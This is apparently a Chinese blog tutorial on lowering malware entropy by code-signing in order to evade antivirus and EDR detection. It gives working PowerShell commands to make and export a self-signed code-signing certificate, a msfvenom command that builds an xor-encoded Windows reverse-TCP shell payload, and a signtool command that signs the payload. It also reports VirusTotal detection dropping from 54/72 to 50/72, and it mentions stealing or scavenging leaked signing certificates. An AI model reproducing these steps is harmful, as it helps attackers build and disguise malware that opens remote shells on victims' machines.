利用代码签名降低恶意软件熵值
本文深入探讨一种高级规避技术:如何通过数字签名显著降低恶意软件(尤其是加密Payload)的文件熵值。文章包含完整的自签名证书生成与签名实战步骤,并通过VirusTotal测试对比签名前后的检测率变化。
views
| comments
在现代网络攻防的持续博弈中,熵值 (Entropy) 是防御方(如杀毒软件、EDR)检测恶意软件的一个基础且关键的指标。一个文件的熵值反映了其内容的随机或“混乱”程度。恶意软件为了隐藏其真实意图,常常对核心载荷(Payload)进行加密或压缩,这直接导致可执行文件的熵值异常升高,从而触发安全产品的启发式警报。
核心原理#
此策略的有效性源于数字签名数据块本身的特性与“稀释效应”。
- 签名的低熵特性:数字签名并非一串随机字节,而是一个遵循ASN.1标准编码的高度结构化数据块。其中包含了证书信息、颁发者、有效期等具有固定格式的数据,因此其自身熵值很低。
- 体积带来的稀释效应:一个有效的数字签名(尤其是包含完整证书链时)体积可达数KB到数十KB。当我们将这个相对庞大的低熵数据块附加到一个体积较小但熵值极高(如包含加密Payload)的恶意加载器上时,文件的平均熵值会被显著拉低。
签名证书的获取方式#
购买合法证书#
通过Sectigo
、DigiCert
等CA机构购买。成本高昂,且滥用会导致证书被吊销和列入黑名单,对攻击者而言风险极高。
窃取合法证书#
通过攻击软件开发商来窃取其代码签名私钥。这是最高效但也最危险的方式,历史上Stuxnet等著名恶意软件均采用此方法。
获取网络上泄露的有效证书#
从开源网站如Github
上获取开发者意外泄露的证书。
创建自签名证书#
这是最简单、零成本的方式,非常适合在受控环境、测试或红队行动中快速生成签名。虽然自签名证书不被操作系统默认信任,但它同样能起到降低熵值的效果。
自签名实操#
生成自签名证书#
New-SelfSignedCertificate -DnsName "www.redact.com" -CertStoreLocation "Cert:\CurrentUser\My" -KeyUsage DigitalSignature -Type CodeSigningCert
powershell- -DnsName “www.trusted-app.com”:证书的主题名称,可以自定义成任何看起来合法的域名。 ↗
- -CertStoreLocation “Cert:\CurrentUser\My”:将证书存储在当前用户的个人证书库中。
- -KeyUsage DigitalSignature:指定密钥用途为数字签名。
- -Type CodeSigningCert:指定证书类型为代码签名证书。
导出为PFX文件#
# 1. 设置一个用于保护PFX文件的密码
$password = ConvertTo-SecureString -String "YourSecurePassword123" -Force -AsPlainText
# 2. 获取我们刚刚创建的证书
$cert = Get-ChildItem -Path "Cert:\CurrentUser\My" | Where-Object { $_.Subject -like "CN=www.redact.com" } | Select-Object -First 1
# 3. 导出证书到文件
Export-PfxCertificate -Cert $cert -FilePath "D:\Test\MyCodeSign.pfx" -Password $password
powershell生成高熵的恶意文件#
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -e x64/xor -f exe -o malware.exe
shell通过VirusTotal ↗查看检测率,检测结果54/72
。
使用 signtool.exe 进行签名#
一般来说只要安装了Virtual Studio
的C++开发环境就无需手动安装,如果没找到则在这里 ↗安装。
signtool.exe sign /f "D:\Test\MyCodeSign.pfx" /p "YourSecurePassword123" /t http://timestamp.digicert.com /fd SHA256 /v malware.exe
The following certificate was selected:
Issued to: www.redact.com
Issued by: www.redact.com
Expires: Tue Jul 28 14:11:48 2026
SHA1 hash: 10A95CE1A5BC76B6798E5EE5DF8139D7D503EE04
Done Adding Additional Store
Successfully signed: malware.exe
Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0
powershell可以看到,在仅通过自签名的方式VirusTotal的检测率就降为了50/72
。